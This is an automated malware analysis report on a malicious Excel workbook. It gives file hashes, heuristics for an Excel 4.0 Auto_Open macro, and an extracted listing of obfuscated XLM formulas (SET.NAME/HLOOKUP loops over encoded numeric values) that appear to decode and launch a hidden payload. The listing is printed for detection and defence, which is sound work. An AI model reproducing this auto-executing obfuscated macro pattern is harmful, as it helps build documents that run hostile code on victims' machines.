Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47deb5f7f33c0c3f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:51 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: fb95438aea5bc1db001150933a58d5a6 SHA-1: ebfe5b94a8decd62930caa3fdc7f43e23f299e50 SHA-256: 47deb5f7f33c0c3f166f482d844601499bc0b637c1f1f1fcccb43cf414148efc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6799 bytes
SHA-256: d43bc2ab117d8f04c2f98bc6a5ae2bab14c1078fccdd4d2ba6fbeff24f231337
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BlpaevOUF
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I130 
' 0018     22 LABEL : Cell Value, String Constant - aVXpWKp len=0 
' 0018     24 LABEL : Cell Value, String Constant - ccwFKFBJN len=0 
' 0018     24 LABEL : Cell Value, String Constant - ciZkNLnci len=0 
' 0018     25 LABEL : Cell Value, String Constant - DgTQQpjOFi len=0 
' 0018     22 LABEL : Cell Value, String Constant - FtCOObR len=0 
' 0018     24 LABEL : Cell Value, String Constant - GkIPkmUSE len=0 
' 0018     22 LABEL : Cell Value, String Constant - gLOnokW len=0 
' 0018     21 LABEL : Cell Value, String Constant - gpotzX len=0 
' 0018     25 LABEL : Cell Value, String Constant - hrWMsXSjFS len=0 
' 0018     21 LABEL : Cell Value, String Constant - iVFQvE len=0 
' 0018     26 LABEL : Cell Value, String Constant - mbjwKpnwrJR len=0 
' 0018     27 LABEL : Cell Value, String Constant - PkcGzZdUCUMA len=0 
' 0018     22 LABEL : Cell Value, String Constant - PLbdzlv len=0 
' 0018     24 LABEL : Cell Value, String Constant - RUDelyOEW len=0 
' 0018     27 LABEL : Cell Value, String Constant - RwOQMTtxhlGX len=0 
' 0018     26 LABEL : Cell Value, String Constant - SOCphakPqWg len=0 
' 0018     21 LABEL : Cell Value, String Constant - ToqBXY len=0 
' 0018     23 LABEL : Cell Value, String Constant - vWUKSnNx len=0 
' 0018     27 LABEL : Cell Value, String Constant - WSYFLLajaCqC len=0 
' 0018     26 LABEL : Cell Value, String Constant - zrFHJmIzYMS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BlpaevOUF,I44,"SET.NAME("PLbdzlv",0+VALUE("0"))",""
'  BlpaevOUF,I46,"SET.NAME("iVFQvE",PLbdzlv)",""
'  BlpaevOUF,I51,"SET.NAME("GkIPkmUSE",PLbdzlv)",""
'  BlpaevOUF,I53,"SET.NAME("ToqBXY",COUNTA(ciZkNLnci))",""
'  BlpaevOUF,S54,"",-23.00000000000000000000
'  BlpaevOUF,S55,"",-478.00000000000000000000
'  BlpaevOUF,I56,"SET.NAME("gLOnokW",COUNTA(RwOQMTtxhlGX))",""
'  BlpaevOUF,S56,"",-114.00000000000000000000
'  BlpaevOUF,S57,"",552.00000000000000000000
'  BlpaevOUF,S58,"",-830.00000000000000000000
'  BlpaevOUF,S59,"",607.00000000000000000000
'  BlpaevOUF,I60,[],""
'  BlpaevOUF,I64,"SET.NAME("gpotzX","")",""
'  BlpaevOUF,I69,"iVFQvE",""
'  BlpaevOUF,I73,"SET.NAME("hrWMsXSjFS",HLOOKUP("*",ciZkNLnci,iVFQvE,FALSE))",""
'  BlpaevOUF,I76,"aVXpWKp",""
'  BlpaevOUF,I79,"SET.NAME("vWUKSnNx",PLbdzlv)",""
'  BlpaevOUF,I82,[],""
'  BlpaevOUF,I85,"vWUKSnNx",""
'  BlpaevOUF,I87,"mbjwKpnwrJR",""
'  BlpaevOUF,I91,"FtCOObR",""
'  BlpaevOUF,I95,"RUDelyOEW",""
'  BlpaevOUF,I98,"SET.NAME("SOCphakPqWg",VALUE(HLOOKUP("*",RwOQMTtxhlGX,RUDelyOEW,FALSE)))",""
'  BlpaevOUF,I101,"zrFHJmIzYMS",""
'  BlpaevOUF,I104,"gpotzX",""
'  BlpaevOUF,I106,"GkIPkmUSE",""
'  BlpaevOUF,I108,NEXT(),""
'  BlpaevOUF,I111,"WSYFLLajaCqC",""
'  BlpaevOUF,I115,[],""
'  BlpaevOUF,I120,"ccwFKFBJN",""
'  BlpaevOUF,I122,NEXT(),""
'  BlpaevOUF,I127,RETURN(),""
'  BlpaevOUF,I149,"SET.NAME("DgTQQpjOFi",I44)",""
'  BlpaevOUF,I151,"ciZkNLnci",""
'  BlpaevOUF,I153,"SET.NAME("RwOQMTtxhlGX",R62C12)",""
'  BlpaevOUF,I158,"SET.NAME("ccwFKFBJN",164)",""
'  BlpaevOUF,I161,"SET.NAME("PkcGzZdUCUMA",9)",""
'  BlpaevOUF,I163,DgTQQpjOFi(),""
'  BlpaevOUF,I164,HALT(),""

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